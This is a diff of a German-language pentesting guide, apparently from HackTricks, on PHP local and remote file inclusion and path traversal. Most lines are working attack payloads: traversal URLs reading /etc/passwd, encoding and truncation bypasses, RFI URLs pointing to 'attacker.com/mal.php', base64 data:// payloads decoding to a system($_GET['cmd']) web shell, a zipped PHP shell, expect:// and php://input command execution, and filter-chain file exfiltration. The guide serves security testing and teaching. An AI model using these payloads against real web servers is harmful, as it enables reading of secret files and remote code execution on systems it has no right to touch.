+**Remote File Inclusion (RFI):** Die Datei wird von einem entfernten Server geladen (Am besten: Man kann den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig **deaktiviert** (**allow_url_include**).\
 **Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.

-Die Schwachstelle tritt auf, wenn ein Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Weise kontrollieren kann.
+Die Schwachstelle tritt auf, wenn der Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Weise kontrollieren kann.

 Anfällige **PHP-Funktionen**: require, require_once, include, include_once

@ -19,42 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 ```
 ### **Linux**

-**Durch Mischen mehrerer \*nix LFI-Listen und Hinzufügen weiterer Pfade habe ich diese erstellt:**
+**Durch Zusammenführung mehrerer \*nix LFI-Listen und Hinzufügen weiterer Pfade habe ich diese erstellt:**
+

 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
 {{#endref}}

-Versuche auch, `/` durch `\` zu ersetzen\
+Versuche auch, `/` durch `\` zu ersetzen  
 Versuche auch, `../../../../../` hinzuzufügen

-Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Verwundbarkeit besteht), findet man [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Schwachstelle besteht), befindet sich [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)

 ### **Windows**

-Zusammenführung verschiedener wordlists:
+Zusammenführung verschiedener Wordlists:


 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
 {{#endref}}

-Versuche auch, `/` durch `\` zu ersetzen\
-Versuche auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen
+Versuche auch, `/` durch `\` zu ersetzen  
+Versuche außerdem, `C:/` zu entfernen und `../../../../../` hinzuzufügen

-Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Verwundbarkeit besteht), findet man [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Schwachstelle besteht), befindet sich [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)

 ### **OS X**

-Sieh dir die LFI-Liste von linux an.
+Siehe die LFI-Liste von linux.

-## Grundlegendes zu LFI und bypasses
+## Grundlegendes LFI und Umgehungen

-Alle Beispiele beziehen sich auf Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
+Alle Beispiele sind für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
-### Traversal-Sequenzen werden nicht rekursiv entfernt
+### traversal sequences nicht-rekursiv entfernt
 ```python
 http://example.com/index.php?page=....//....//....//etc/passwd
 http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -62,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
 ```
 ### **Null byte (%00)**

-Bypass des Anhängens weiterer Zeichen am Ende der bereitgestellten Zeichenkette (Bypass von: $\_GET\['param']."php")
+Bypass das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenkette (bypass of: $\_GET\['param']."php")
 ```
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
@ -70,51 +71,51 @@ Dies ist **seit PHP 5.4 behoben**

 ### **Kodierung**

-Sie könnten nicht-standardmäßige Kodierungen wie double URL encode (und andere) verwenden:
+Man kann nicht-standardmäßige Kodierungen wie double URL encode (und andere) verwenden:
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
-### Vom vorhandenen Ordner
+### Aus vorhandenem Ordner

-Vielleicht überprüft das Backend den Ordnerpfad:
+Möglicherweise überprüft das back-end den Ordnerpfad:
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
 ### Erkundung von Dateisystemverzeichnissen auf einem Server

-Das Dateisystem eines Servers kann mithilfe bestimmter Techniken rekursiv durchsucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren. Dieser Prozess umfasst das Ermitteln der Verzeichnistiefe und das Abfragen des Vorhandenseins bestimmter Ordner. Im Folgenden wird eine detaillierte Methode beschrieben, um dies zu erreichen:
+Das Dateisystem eines Servers kann rekursiv untersucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst das Bestimmen der Verzeichnistiefe und das Abfragen auf das Vorhandensein bestimmter Ordner. Nachfolgend eine detaillierte Methode, um dies zu erreichen:

-1. **Verzeichnistiefe bestimmen:** Bestimme die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei `/etc/passwd` abrufst (gilt, wenn der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und auf eine Tiefe von drei hinweisen:
+1. **Verzeichnistiefe bestimmen:** Bestimme die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei `/etc/passwd` abrufst (anwendbar, wenn der Server Linux-basiert ist). Eine Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Probe for Folders:** Hänge den Namen des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
+2. **Nach Ordnern suchen:** Hänge den Namen des vermuteten Ordners (z. B. `private`) an die URL an, und navigiere dann zurück zu `/etc/passwd`. Die zusätzliche Verzeichnisebene erfordert eine Erhöhung der depth um eins:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
 3. **Ergebnisse interpretieren:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
 - **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort.
- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
-4. **Rekursive Erkundung:** Gefundene Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, indem dieselbe Technik oder traditionelle Local File Inclusion (LFI)-Methoden verwendet werden.
+- **Inhalt von `/etc/passwd`:** Die Existenz des Ordners `private` ist bestätigt.
+4. **Rekursive Erkundung:** Gefundene Ordner können weiter auf Unterverzeichnisse oder Dateien untersucht werden, entweder mit der gleichen Technik oder mit traditionellen Local File Inclusion (LFI)-Methoden.

-Um Verzeichnisse an verschiedenen Orten im Dateisystem zu prüfen, passen Sie den payload entsprechend an. Zum Beispiel, um zu prüfen, ob `/var/www/` ein `private`-Verzeichnis enthält (angenommen, das aktuelle Verzeichnis befindet sich auf einer Tiefe von 3), verwenden Sie:
+Um Verzeichnisse an anderen Stellen im Dateisystem zu untersuchen, passe das payload entsprechend an. Zum Beispiel, um zu prüfen, ob `/var/www/` ein Verzeichnis `private` enthält (angenommen, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwende:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Path Truncation Technique**

-Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird oft verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu konstruieren, der — nachdem die Sicherheitsmaßnahme ihn verändert hat — weiterhin auf die gewünschte Datei zeigt.
+Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Ziel ist es, einen Dateipfad so zu konstruieren, dass er nach der Änderung durch die Sicherheitsmaßnahme weiterhin auf die gewünschte Datei zeigt.

-In PHP werden verschiedene Darstellungen eines Dateipfads aufgrund der Natur des Dateisystems als gleichwertig betrachtet. Zum Beispiel:
+In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Art des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:

- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` werden alle als derselbe Pfad behandelt.
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (also `passwd/`) die angesprochene Datei nicht.
- Ähnlich verhält es sich, wenn `.php` an einen Dateipfad angehängt wird (z. B. `shellcode.php`): Ein Hinzufügen von `/.` am Ende verändert die aufgerufene Datei nicht.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, und `/etc/passwd/` werden alle als derselbe Pfad behandelt.
+- Wenn die letzten 6 Zeichen `passwd` sind, verändert das Anhängen eines `/` (also `passwd/`) die Zieldatei nicht.
+- Ähnlich: wenn `.php` an einen Dateipfad angehängt wird (z. B. `shellcode.php`), ändert das Hinzufügen von `/.` am Ende nicht die aufgerufene Datei.

-Die folgenden Beispiele zeigen, wie man Path truncation nutzt, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel wegen seines sensiblen Inhalts (Benutzerkontoinformationen):
+Die folgenden Beispiele zeigen, wie man path truncation nutzt, um auf `/etc/passwd` zuzugreifen — ein häufiges Ziel wegen seines sensitiven Inhalts (Benutzerkontoinformationen):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -124,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-In diesen Szenarien kann die Anzahl der benötigten traversals etwa 2027 betragen, aber diese Zahl kann je nach Serverkonfiguration variieren.
+In diesen Szenarien kann die Anzahl der benötigten Traversals ungefähr 2027 betragen, aber diese Zahl kann je nach Serverkonfiguration variieren.

- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) kombiniert mit zusätzlichen dot segments und Zeichen können verwendet werden, um im Dateisystem zu navigieren und angehängte Strings vom Server effektiv zu ignorieren.
- **Determining the Required Number of Traversals**: Durch Ausprobieren kann man die genaue Anzahl der `../`-Sequenzen ermitteln, die benötigt werden, um zum Root-Verzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Strings (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
- **Starting with a Fake Directory**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme verwendet oder um die Anforderungen der Pfad-Parsing-Logik des Servers zu erfüllen.
+- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um das Dateisystem zu navigieren und angehängte Strings vom Server effektiv zu ignorieren.
+- **Determining the Required Number of Traversals**: Durch Versuch und Irrtum lässt sich die genaue Anzahl von `../`-Sequenzen finden, die nötig sind, um zum Root-Verzeichnis und dann zu `/etc/passwd` zu gelangen. Dabei werden angehängte Strings (wie `.php`) neutralisiert, während der gewünschte Pfad (`/etc/passwd`) erhalten bleibt.
+- **Starting with a Fake Directory**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik dient als Vorsichtsmaßnahme oder dazu, die Anforderungen der Pfad-Parsing-Logik des Servers zu erfüllen.

-Beim Einsatz von path truncation techniques ist es entscheidend, das Pfad-Parsing-Verhalten des Servers und die Dateisystemstruktur zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
+Beim Einsatz von path truncation techniques ist es entscheidend, das Pfad-Parsing-Verhalten des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.

-**This vulnerability was corrected in PHP 5.3.**
+**Diese Schwachstelle wurde in PHP 5.3 behoben.**

 ### **Filter bypass tricks**
 ```
@ -144,30 +145,30 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion

-In php ist das standardmäßig deaktiviert, weil **`allow_url_include`** auf **Off.** steht. Es muss auf **On** gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:
+In php ist dies standardmäßig deaktiviert, weil **`allow_url_include`** auf **Off** steht. Es muss auf **On** gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Wenn aus irgendeinem Grund **`allow_url_include`** **On** ist, aber PHP den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erzielen:
+Wenn aus irgendeinem Grund **`allow_url_include`** **An** ist, PHP aber den Zugriff auf externe Webseiten **filtert**, [laut diesem Beitrag](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), könntest du zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu dekodieren und RCE zu erhalten:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!TIP]
-> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der attacker eine Zeichenfolge benötigte, die mit `.txt` endet. Die Zeichenfolge endet also damit und nach dem b64 decode liefert dieser Teil nur Junk zurück und der eigentliche PHP-Code wird eingebunden (und damit ausgeführt).
->
-> Ein weiteres Beispiel, das **nicht das `php://` Protokoll verwendet**, wäre:
+> Im vorherigen Code wurde das abschließende `+.txt` hinzugefügt, weil der Angreifer eine Zeichenkette benötigte, die auf `.txt` endete; daher endet die Zeichenkette damit und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der echte PHP-Code wird inkludiert (und somit ausgeführt).
+
+Ein weiteres Beispiel, **das nicht das `php://` Protokoll verwendet**, wäre:
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
-## Python Root-Element
+## Python Root element

-In python in einem Code wie diesem:
+In Python in einem Code wie diesem:
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
 ```
-Wenn der Benutzer einen **absoluten Pfad** an **`file_name`** übergibt, wird der **vorherige Pfad einfach entfernt**:
+Wenn der Benutzer einen **absoluten Pfad** für **`file_name`** angibt, wird der **vorherige Pfad einfach entfernt**:
 ```python
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
@ -176,13 +177,13 @@ Dies ist das beabsichtigte Verhalten laut [the docs](https://docs.python.org/3.1

 > Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird ab der absoluten Pfadkomponente fortgesetzt.

-## Java Verzeichnisse auflisten
+## Java listet Verzeichnisse auf

-Es scheint, dass wenn man in Java eine Path Traversal hat und man **ein Verzeichnis anfragt** statt einer Datei, eine **Auflistung des Verzeichnisses zurückgegeben wird**. Das passiert in anderen Sprachen nicht (soweit ich weiß).
+Es sieht so aus, dass wenn du eine Path Traversal in Java hast und du **ein Verzeichnis anfragst** statt einer Datei, **eine Auflistung des Verzeichnisses zurückgegeben wird**. Das passiert in anderen Sprachen nicht (soweit ich weiß).

 ## Top 25 Parameter

-Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI)-Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Hier ist eine Liste der Top-25-Parameter, die für local file inclusion (LFI) anfällig sein könnten (von [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 ```
 ?cat={payload}
 ?dir={payload}
@ -210,36 +211,36 @@ Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusio
 ?mod={payload}
 ?conf={payload}
 ```
-## LFI / RFI mithilfe von PHP-Wrappers & Protokollen
+## LFI / RFI mit PHP-Wrappers & -Protokollen

 ### php://filter

-PHP-Filters erlauben das Durchführen grundlegender **Modifikationsoperationen an den Daten**, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:
+PHP filters ermöglichen grundlegende **Modifikationsoperationen an den Daten**, bevor diese gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:

 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
 - `string.toupper`
 - `string.tolower`
- `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen "<" und ">" Zeichen)
- Beachte, dass dieser Filter in modernen Versionen von PHP nicht mehr vorhanden ist
+- `string.strip_tags`: Entfernt Tags aus den Daten (alles zwischen den Zeichen "<" und ">")
+- Beachte, dass dieser Filter in modernen PHP-Versionen nicht mehr vorhanden ist
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 - `convert.base64-encode`
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
- `convert.iconv.*` : Wandelt in eine andere Kodierung um (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führe in der Konsole aus: `iconv -l`
+- `convert.iconv.*` : Wandelt in eine andere Encoding um (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Encodings** zu erhalten, führe in der Konsole aus: `iconv -l`

 > [!WARNING]
-> Durch Missbrauch des `convert.iconv.*` Conversion-Filters kann man **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder Funktionen wie include beliebigen Text verarbeiten zu lassen. Für mehr Infos siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Durch Missbrauch des `convert.iconv.*` Conversion-Filters kannst du **beliebigen Text erzeugen**, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include dazu zu bringen, beliebigen Text zu verarbeiten. Für mehr Infos siehe [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).

 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich beim exfiltrating großer Informationsmengen)
+- `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viele Daten exfiltriert werden müssen)
 - `zlib.inflate`: Dekomprimiert die Daten
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Veraltet
- `mdecrypt.*` : Veraltet
+- `mcrypt.*` : veraltet
+- `mdecrypt.*` : veraltet
 - Other Filters
- Führt man in PHP `var_dump(stream_get_filters());` aus, findet man ein paar **unerwartete Filter**:
+- Wenn du in PHP `var_dump(stream_get_filters());` ausführst, findest du ein paar **unerwartete Filter**:
 - `consumed`
 - `dechunk`: kehrt HTTP chunked encoding um
 - `convert.*`
@ -272,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 > [!WARNING]
 > Der Teil "php://filter" ist nicht case-sensitiv

-### Verwendung von php filters als oracle, um beliebige Dateien zu lesen
+### Verwendung von php filters als oracle zum Lesen beliebiger Dateien

-[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, mit der sich eine lokale Datei lesen lässt, ohne dass die Ausgabe vom Server direkt zurückgegeben wird. Diese Technik basiert auf einer **boolean exfiltration of the file (char by char) using php filters** als oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so groß zu machen, dass php eine Exception wirft.
+[**In diesem Beitrag**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer **boolean exfiltration der Datei (Zeichen für Zeichen) mithilfe von php filters** als oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so groß zu machen, dass php eine Ausnahme wirft.

-Im Originalbeitrag findet sich eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:
+Im ursprünglichen Beitrag findet sich eine ausführliche Erklärung der Technik, hier aber eine kurze Zusammenfassung:

- Verwende den Codec **`UCS-4LE`**, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu vergrößern.
- Das wird genutzt, um einen **Text zu erzeugen, der so groß ist, wenn der Anfangsbuchstabe korrekt geraten wurde**, dass php einen **Fehler** auslöst.
- Der **dechunk** Filter wird **alles löschen, wenn das erste Zeichen kein hexadezimales Zeichen ist**, sodass wir herausfinden können, ob das erste Zeichen hex ist.
- Dies, kombiniert mit dem vorherigen (und anderen Filtern abhängig vom geratenen Zeichen), erlaubt es uns, ein Zeichen am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um es aus dem hex-Bereich zu bewegen. Denn wenn es hex ist, löscht dechunk es nicht und die initiale Bombe verursacht den php-Fehler.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (also nach diesem codec: a -> b). Dadurch können wir z. B. erkennen, ob das erste Zeichen ein `a` ist, weil wenn wir diesen Codec 6-mal anwenden a->b->c->d->e->f->g, das Zeichen nicht mehr hexadezimal wäre; folglich löscht dechunk es nicht und der php-Fehler wird ausgelöst, weil er mit der initialen Bombe multipliziert.
- Durch andere Transformationen wie **rot13** am Anfang ist es möglich, weitere Zeichen wie n, o, p, q, r zu leak'en (und andere Codecs können verwendet werden, um andere Buchstaben in den hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64 enkodiert werden und die ersten 2 Zeichen per leak ermittelt werden, um die Zahl zu erhalten.
- Das finale Problem ist zu sehen, **wie man mehr als das Anfangszeichen leaked**. Durch Einsatz von Order-Memory-Filtern wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und so andere Zeichen des Textes an die erste Position zu bringen.
- Und um weitere Daten zu erhalten besteht die Idee darin, **zwei Bytes Junk-Daten am Anfang** mit **convert.iconv.UTF16.UTF16** zu erzeugen, **UCS-4LE** anzuwenden, um sie **mit den nächsten 2 Bytes zu pivotieren**, und die Daten bis zu den Junk-Bytes zu löschen (das entfernt die ersten 2 Bytes des ursprünglichen Textes). Dies wird so lange wiederholt, bis das gewünschte Bit zum leak erreicht ist.
+- Verwende den Codec **`UCS-4LE`**, um das führende Zeichen des Texts an der Spitze zu belassen und die Größe des Strings exponentiell anwachsen zu lassen.
+- Das wird genutzt, um einen **Text zu erzeugen, der so groß wird, wenn das Anfangszeichen korrekt erraten wurde**, dass php einen **Fehler** auslöst.
+- Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein hexadezimaler Wert ist**, sodass wir erkennen können, ob das erste Zeichen hex ist.
+- Dies, kombiniert mit dem vorherigen Verhalten (und anderen Filtern je nach erratenem Zeichen), erlaubt es uns, ein Zeichen am Anfang des Texts zu erraten, indem wir beobachten, wann genügend Transformationen angewendet wurden, sodass es kein hexadezimaler Wert mehr ist. Denn wenn es hex ist, entfernt dechunk es nicht und die anfängliche Explosion löst den PHP-Fehler aus.
+- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (also nach diesem Codec: a -> b). Damit lässt sich feststellen, ob das erste Zeichen z. B. ein `a` ist: wendet man diesen Codec sechsmal an (a->b->c->d->e->f->g), ist das Zeichen kein hexadezimaler Wert mehr, daher löscht dechunk es nicht und der PHP-Fehler wird aufgrund der anfänglichen Explosion ausgelöst.
+- Durch andere Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu leak (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
+- Wenn das Anfangszeichen eine Zahl ist, muss es base64-kodiert werden und die ersten zwei Buchstaben müssen geleakt werden, um die Zahl zu leak.
+- Das finale Problem ist zu sehen, **wie man mehr als das Anfangszeichen leak't**. Durch die Verwendung von Reihenfolge-Ändernden-Filtern wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an die erste Position andere Zeichen des Texts zu bringen.
+- Und um weitere Daten erhalten zu können, ist die Idee, **mit convert.iconv.UTF16.UTF16 zwei Junk-Bytes am Anfang zu generieren**, anschließend **UCS-4LE** anzuwenden, damit diese sich mit den nächsten 2 Bytes pivotieren, und **die Daten bis zu den Junk-Bytes zu löschen** (das entfernt die ersten 2 Bytes des ursprünglichen Texts). Dieses Vorgehen wird wiederholt, bis man das gewünschte Byte zum leak erreicht.

-Im Beitrag wurde auch ein Tool zum automatisierten Ausführen geleakt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+Im Beitrag wurde außerdem ein Tool veröffentlicht, das dies automatisch ausführt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).

 ### php://fd

-Dieser wrapper erlaubt den Zugriff auf file descriptors, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
+Dieser Wrapper erlaubt den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
-Du kannst auch **php://stdin, php://stdout and php://stderr** verwenden, um jeweils auf die **file descriptors 0, 1 and 2** zuzugreifen (ich bin mir nicht sicher, wie das in einem Angriff nützlich sein könnte)
+Du kannst auch **php://stdin, php://stdout and php://stderr** verwenden, um jeweils auf die **Dateideskriptoren 0, 1 und 2** zuzugreifen (ich bin mir nicht sicher, wie das in einem Angriff nützlich sein könnte)

-### zip:// and rar://
+### zip:// und rar://

-Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.\
-Um das rar-Protokoll missbrauchen zu können, muss es **speziell aktiviert werden**.
+Lade eine Zip- oder Rar-Datei mit einer PHPShell hoch und greife darauf zu.\  
+Um das rar-Protokoll missbrauchen zu können, muss es **explizit aktiviert werden**.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@ -331,20 +332,20 @@ Beachte, dass dieses Protokoll durch php-Konfigurationen **`allow_url_open`** un

 ### expect://

-Expect muss aktiviert sein. Du kannst damit Code ausführen:
+Expect muss aktiviert sein. Du kannst Code damit ausführen:
 ```
 http://example.com/index.php?page=expect://id
 http://example.com/index.php?page=expect://ls
 ```
 ### input://

-Gib deinen payload in den POST-Parametern:
+Geben Sie Ihre payload in den POST-Parametern an:
 ```bash
 curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
 ```
 ### phar://

-Eine `.phar`-Datei kann genutzt werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien verwendet. Der unten gezeigte PHP-Code-Schnipsel demonstriert die Erstellung einer `.phar`-Datei:
+Eine `.phar`-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie `include` zum Laden von Dateien nutzt. Der unten gezeigte PHP-Codeausschnitt demonstriert die Erstellung einer `.phar`-Datei:
 ```php
 <?php
 $phar = new Phar('test.phar');
@ -357,11 +358,11 @@ Um die `.phar`-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werd
 ```bash
 php --define phar.readonly=0 create_path.php
 ```
-Beim Ausführen wird eine Datei mit dem Namen `test.phar` erstellt, die potenziell genutzt werden könnte, um Local File Inclusion (LFI)-Schwachstellen auszunutzen.
+Bei Ausführung wird eine Datei namens `test.phar` erstellt, die potentiell dazu benutzt werden kann, Local File Inclusion (LFI)-Schwachstellen auszunutzen.

-In Fällen, in denen die LFI nur Dateien liest, ohne den darin enthaltenen PHP-Code auszuführen, etwa über Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()`, könnte versucht werden, eine Deserialisierungs-Schwachstelle auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das `phar`-Protokoll zusammen.
